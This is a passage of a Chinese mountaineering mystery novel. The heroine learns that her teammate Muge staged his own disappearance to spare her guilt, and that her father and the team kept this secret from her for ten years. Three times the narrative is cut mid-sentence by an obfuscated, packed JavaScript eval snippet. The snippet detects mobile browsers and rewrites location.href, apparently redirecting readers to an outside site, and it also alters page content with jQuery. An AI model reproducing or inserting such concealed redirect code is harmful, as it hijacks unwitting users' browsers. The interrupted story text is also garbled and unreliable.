锦里觉得,木格肯定也将他这么做的原因写在了纸条上,否则强子跟队长不可能没发现这个矛盾之处,队长也不可能那么轻易按照木格所说的去做,一定有什么原因……而那个原因说服了队长跟其他人。 锦里想起了在强子那里看到的那张纸条的样子,四个边都破破烂烂的,看起来象是从某个笔记本上随意撕扯了下来。 她发现自己又忽略了一条线索:如果是从笔记本上随意撕扯下来的一张纸,那么应该只有靠近书脊的那一边会呈现破烂状……四个边都呈破烂状,只有可能是被人特意撕去了某个部分,然后为了掩盖这个撕痕,又将其他几个边也撕掉一部分。 果然,她当时看到的只是木格的其中一部分留言,剩下的,一定已经被撕毁了。 这么做的会是谁? 不可能是需要将前因后果留在纸上的木格。 那就是第一个发现纸条的强子?或者是队长? 他们这么做是为什么?是木格的意思吗?还是他们不想让木格写下的那个原因被其他人看到?那为什么其他人都无条件听从了队长的话? 唯一没有听话的……就是锦里自己。 问题又回到了原点:为什么他们都要瞒着她纸条的发现经过?为什么他们都要阻止她追寻木格的下落?为什么他们都在劝她说木格的失踪只是意外? 突然间,锦里不敢再思考下去。 她只知道,她要尽快找到老徐,听他把事情完完整整地告诉她。已经到了这一步,他没理由再继续瞒着她了。 6 “……所以,我觉得徐叔说的很有道理,锦里,你该从木格的事情中走出来了。我希望你能放下过去,所以我才答应了徐叔的请求。” 花城的坦白也恰在此时告一段落。 她长舒了一口气,却发现锦里的神情比之前更加凝重了。 “怎么了吗?” 花城有些忐忑,她担心锦里还在责怪她私下里帮着徐叔做事,但其实锦里此时的思绪已经飘向了很远的地方。 “其实我——” “等等!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250148|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 锦里开口打断了还想再解释几句的花城,虽然她们认识才一年多的时间,但她知道面前的女孩勇敢善良又乐于助人,也许,她会是帮助她找到真相的关键所在。 但在此之前,她需要确定清楚一件事。 “你暗中帮我爸的忙,这件事勇叔知道吗?” 花城摇摇头:“我想我爸不知道,他把徐叔介绍给我认识之后,就再也没有过问我登山相关的事了。” 果然如此,锦里心想,这样她就放心了。 锦里看向花城,发出请求:“那你能帮我一个忙吗?”她凑近去,低声说了一些话。花城有些惊讶,不明白锦里究竟想做什么。 但半晌之后,她还是犹豫着点了点头。 两人携着一身风雪回到帐篷,在外面站了那么久,直到此时她们才发觉自己的四肢早已被冻得冷冰冰的了。 “好冷哦!”花城搓揉着双臂走进围拢在小柒身边的人堆里,就像她跟锦里之间的谈话从未发生过一样——这正是锦里刚刚对她提出的请求之一,她完成得很好。 锦里停顿几步,也跟了上去。 此时小柒已完全恢复意识,正心有余悸地在跟大家分享她之前的经历:“其实我的记忆还停留在快出昆布冰川那块儿,在那之后我就丧失意识了。不,我不是突然昏倒的,当时我就觉得自己特别困——现在我知道了,那不是真正的困,而是正处于失温状态——那种状态持续了一段时间,我的思维反应都变得越来越慢,根本意识不到自己的情况不对,也不知道该向别人求救,结果走着走着,不知不觉间我就昏倒在地…… “如果是在其他地方昏倒还没什么,偏偏那个时候一直走在最后照顾我们的卡米为了搭帐篷先行了一步,走在最后的就成了体力最不支的我,在我前面的两个哥哥都自顾不暇了,自然也没能第一时间发现我昏迷的事,所以才会有之后那些事情。” 说到这里,小柒双手合十,俏皮地对着大家鞠了一躬:“不好意思,让大家担心啦!”看样子她并没有因为此事留下什么心理阴影。 雄一跟修二也紧跟着表达歉意,获得了大家的一致谅解,气氛终于缓和下来。 这样的结果是最好不过了。 得知小柒的遭遇确实是一场意外,锦里也跟着松了一口气,否则她难辞其咎。而且这么一来,她终于能够确认,花城并没有欺骗她。 这是一次难得的达成皆大欢喜结局的旅程。 28.红雪④ 7 虽然小柒的遭遇算得上是虚惊一场,但经此一事,所有人都处于身心俱疲的状态,而且穿越昆布冰川时精疲力尽的经历也让他们意识到了,要攀登世界第一高峰,自身的体能还有待加强。 因此这场“体验珠峰攀登过程”的行程到这里就结束了。 从一号营地返回大本营之后,8848登山队的成员跟小柒三兄妹聚在一起吃了顿晚餐,第二天就各自分开,准备回家了。 这一次,锦里没有回到自己租住在外的小屋,而是直接回了家。 当天正好是周日,老徐在家休息,锦里进门后四处找了一圈,最终在小花园里找到了忙着浇花的老徐。 自从不再登山后,这十年来他变得沉稳了许多。 “回来了?”看到突然回家的女儿,老徐的神情没有一丝波动,他正用剪子修剪一株绿萝,只在忙碌的间隙抽空问了一句,“怎么不提前说一声?” 似乎在任何时候,他都是这副淡定从容的样子。锦里真想知道,听了她接下来说的话,他是否还能维持得住脸上的假面具。 “我以为你早就知道我要回来了。” “为什么?” “因为花城。” 老徐手上的动作停住了。 他放下剪子,看了一眼锦里,然后转身往室内走去,锦里自然紧随其后。 父女俩在客厅的沙发上相对坐下,他们已经很久没摆出这副促膝长谈的样子了。 老徐叹了口气,率先开口道:“看来你已经知道了。没错,花城正是勇哥的女儿。之前因为机缘巧合,我偶然得知她跟你在同一个登山队,就拜托她多跟我说说你的消息。我没告诉你这件事,是因为我知道你一定不会同意的,可能还会误解我是想阻止你登山……但其实我并没有这个意思,只是想让你认识到雪山的真面目,想清楚再决定是否要继续走下去。我借花城的手让你看到珠峰上的尸体,也是出于这个目的。” 半真半假,老徐一直在用这样的方式欺骗着她,从十年前那个雪夜就开始了。锦里第一次无比清晰地意识到这一点。 所以这一次,她不会再被骗了。 “不止是这样吧!”锦里直视着老徐,眼中似有两簇火焰在燃烧,“还有最关键的一点,你没有说出来:你之所以不想让我重返雪山,是怕我发现十年前木格失踪的真相!” “木格?”老徐眉头微皱,表现出恰到好处的惊讶,“你怎么还想着他?跟他没关系。我不是早跟你说过了吗,他的事是一场意外。” “对,是意外,也可以说,是他自己主动制造的‘意外’。但是……” 锦里仍旧直视着老徐,一字一句道: “这场‘意外’,是因我而起的。” 老徐的脸突然不受控制地扭曲了一下。 8 长久以来戴在他脸上的面具终于在此刻破裂。 “你、你怎么会这么想?” 他的声音也开始颤抖,显而易见,此时的老徐经受了巨大的心绪起伏。 “不是我要这么想,是花城告诉我的。”锦里仍旧直视着老徐,似是要看清他脸上的每一个表情变化,“你低估了我们的感情深度。在被我揭穿之后,花城就将一切和盘托出,我也对她解释了为什么我会一直对木格的事念念不忘。之后我拜托她帮我一个忙:尽量在不打草惊蛇的情况下,问一问勇叔当年的事是否另有隐情。 “勇叔不知道花城一直在替你做事,也不知道这一次花城的问题是为了我而问,也许他只以为这是自己女儿的一个小小的好奇吧。总之,他没怎么设防,就将真相告诉了花城,花城又转告给了我,之后我才知道,原来木格是自己主动‘失踪’的,而这一切的罪魁祸首就是我。” 锦里在撒谎。 为了套出老徐的真心话,锦里装作对事情已经一清二楚的样子,但其实她刚刚所说的内容,全部都是基于她自己的推断,她唯一拜托花城做的事,就是让她不要泄露她们在珠峰一号营地的谈话,装作无事发生的样子,这样才能真正的做到不打草惊蛇。 对于锦里来说,这是一步险棋,如果她的推断有错,就无法引老徐上钩了。 但是根据现在的情况来看,她似乎是走对了。 木格的失踪,似乎真的跟她有着莫大的关系! “不,说是罪魁祸首太过苛刻了,谁能想到会发生那样的事……” 老徐终于开始坦露自己的真心,面对这难得的真情流露,锦里竭力做出一副平静的样子,即使她心中已掀起一番惊涛骇浪。 她知道,她就快要触碰到事情的真相了。 在此关键时刻,绝不能让老徐看出她只是在虚张声势。 老徐完全没发现她的异样,只顾着将这十年来藏在心里的话一吐而尽,从这番话中,锦里终于拼凑出了当年的事件全貌。 那天晚上,寻找木格的动静惊动了三号营地所有熟睡的人。 被惊醒后,老徐跟着队伍在附近搜寻了一番,但是一无所获。因为还有女儿要照顾,所以没过多久他就脱离队伍,提前返回了营地。 没想到锦里也跟着起来了,父女俩站在帐篷外谈论了一番目前的状况,就看见以强子为首,其余的队员也跟着陆续返回。 他们垂头丧气,看样子事情仍旧毫无进展。 于是老徐让女儿先回帐篷里等着,他自己则去找勇哥,打听一下接下来该怎么办。 在勇哥的帐篷里,老徐紧接着碰到了惊慌失措的强子。 强子一开口,就改变了他们所有人今后十年的人生轨迹。 “我发现了木格给我们的留言!在帐篷里!”他扬起右手,手中握着一张密密麻麻写满字迹的笔记纸。 老徐跟队长对视一眼,都察觉到了事情的不对劲:木格的留言为什么会在帐篷里?简直就像他特意留给他们的一样。 “里面的内容实在太……队长,这件事必须由你做主才行!” 强子递过纸条,老徐连忙凑在队长身边,看完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250149|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了全部内容。 一切都太过失常了! 亲爱的队友们: 当你们看到这些内容的时候,我应该已经离开帐篷很久了。我主动消失在营地,并且消去自己离开的足迹,不是因为我想要轻生。我死亡的结局是必然的,之所以选择以这种方式死去,是为了拯救一个小姑娘纯洁无暇的灵魂。 一切要从几天前说起。 队长,你一定还记得几天前我们在大本营等待窗口期到来时,我帮助锦里将她救回的小鸟偷偷藏起来的事吧。其实那个时候,我把小鸟藏进了我的背包里。 我一直没发现某个地方出了差错,直到今天。在前往三号营地的路上,气温骤降,我从背包里取出羽绒服穿上,但身体半晌都没有恢复温度。抵达营地后,我偷偷检查了一番,才发现不知何时,我的羽绒服竟然破了好几个洞口,再也无法防风防水。 这一定是那只小鸟的杰作了,可惜我发现得太晚。 穿着这样的羽绒服冲顶,我只有死路一条,现在是下着暴风雪的夜晚,我也没办法立即返回二号营地,只能在这里呆一整晚甚至更久,同样是死路一条。 既然都要死,我宁愿选择以“失踪”这种方式死去。也许你们会说,队伍可以放弃冲顶,全力护送我下山。但这不是我想要的结果,我想看到大家为了冲顶而努力的样子,我很享受这样的画面,不想因为自己破坏了这一切。 就请你们当我是在三号营地附近迷了路,再也回不来了吧,别再继续找我了。还有,我恳求你们不要告诉锦里事情的真相,她知道了一定会内疚不已,说不定还会把事情怪罪到自己身上,怪自己不该救那只小鸟,这同样不是我想看到的结果。 我最想看到的,就是全员成功登顶的盛况。 你们就当我是失踪,也让锦里相信我是失踪,然后继续前进,这样就是最好的结局了。 下面的内容,是我专为欺骗锦里而写的,看到这里的你们,请将纸条一分为二,帮助我拯救她的灵魂,这是我最后的请求。 这里太陌生,也太冷了,坚持着走了这么久,意识开始渐渐模糊,我想我快死了。 从登山的第一天起,我早已做好也许某天会葬身雪山的心理准备,我亲爱的队友们,如果你们有幸看到这张纸条,请不要再继续找寻我,不要再浪费时间,我最想看到的,就是大家能够顺利登上顶峰,连带我的份一起。 让我再一次看到,全员成功登顶的盛景吧。 现在,我要尝试着在这个陌生的地方继续前行了,看看我最终会走向何方。 看完木格的留言,老徐跟队长都因为太过震惊而说不出一句话来。 强子虽然早已看过一遍里面的内容,但此刻仍旧不知所措。 最终,是队长最先恢复了冷静,他将除锦里外的队员全部召集过来,告知事情的经过,然后做出决定:为了完成木格的遗志,队伍继续冲顶,并且永远不让锦里知道木格失踪的真相。 没有人对此有异议。 29.结局 9 “后来,队长当着你的面,又将继续冲顶的决定宣布了一遍,原本我们都很担心你会追问为什么要这么做,但当时你好像太过震惊,完全呆住了。 “大家都松了一口气。” 老徐说到这里,感叹道:“但我们放松得太早了,你当时只是没有反应过来。这十年来,你不停追究这件事,并且越来越执着。我们没有一个人在面对你时敢松懈分毫。没想到最终,你还是知道了……” 说到这里,老徐终于从回忆中醒神,却发现面前的女儿早已泪流满面,她的脸上,还残留着一副既震惊又心碎的神情。 震惊? “你——” 电光火石间,老徐全都明白了。 锦里声称已从花城处得知事情的真相,但恐怕直到刚才,她才真正了解事件的全貌,而这一切,都是他亲口说给她听的。 多年努力,功亏一篑。 而且就毁在他的手里。明明作为父亲,他是私心里最不想让她知道真相的那个人。坚持了十年,结果却因一时大意,将一切和盘托出。 “唉……这都是命啊!” 老徐长叹一声,终于也忍不住老泪纵横。 锦里很震惊吗? 是的,她当然很震惊,因为她没想到追寻了十年的真相,其实源头就在自己身上。但是隐约之间,她又觉得自己早有预感,从她发现也许一切都是木格在自导自演开始,为什么木格要这么做?当时的她不敢再继续思考下去。 现在她知道了,一切都是因为她。 木格选择以那样的方式放弃生命,其他队员多年来咬紧牙关死守这个秘密,都是因为她。 十年前那个夜晚,她以为自己发现了雪山下隐藏的血腥与罪恶……直到现在她才明白,自己错得有多离谱。 她拥有的,是这个世界上最温柔、最善良的一群队友。 而她,不能再继续辜负这份善良了。 “我要重登慕士塔格峰。” 锦里说出了自己的决定。 “重登……你要做什么?”老徐似乎意识到了什么,惊疑不定地追问道。戴了十年的假面具,从崩塌那刻起,就再难维持下去。 “木格的身体还留在慕峰上,十年了,除了我们,没有人知道他还在那里。我要把他找回来。” “可是——” “以前我就想过,等我知道木格失踪的真相后,我要把他找回来,现在我的想法还是没有变。一次找不到,我就找十次、找百次,就算要花费下一个十年甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250150|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更久的时间,我也要把他找到。 “爸爸,木格离队十年了,我不能让他一个人在那儿。” 老徐瞬间哑口无言,质疑跟反驳的话都说不出口了。 为了自己的女儿,他一直是最积极响应木格安排的那个人,但这十年来,对那孩子的愧疚同样日夜纠缠着他。 其实从一开始,他们就做错了。 他们不应该听从木格的安排行事,不应该想着要隐瞒锦里这件事,如果从一开始就将真相坦诚地说出来,锦里一样会做出跟如今相同的选择:找到木格,弥补自己的过失。但他们不会浪费十年的时间。 这十年来,没有一个队员过着安生的日子,所有人在登顶慕峰后,都不约而同选择不再登山,不再碰面,木格一定也不想看见事情最终演变成这个样子,他真正想看的,应该是大家在一起快乐攀登的情景。 想要重回这一天,唯有彼此开诚布公。他们是一个团队,信任与帮助应该是相互的,将问题提出来,然后大家合力去解决,这才是正确的选择。 虽然蹉跎了十年,但现在明白这个道理还为时不晚。 老徐如释重负地笑了。 “好,我跟你一起去。还有,我要问问其他人,他们应该也会想参与进来。”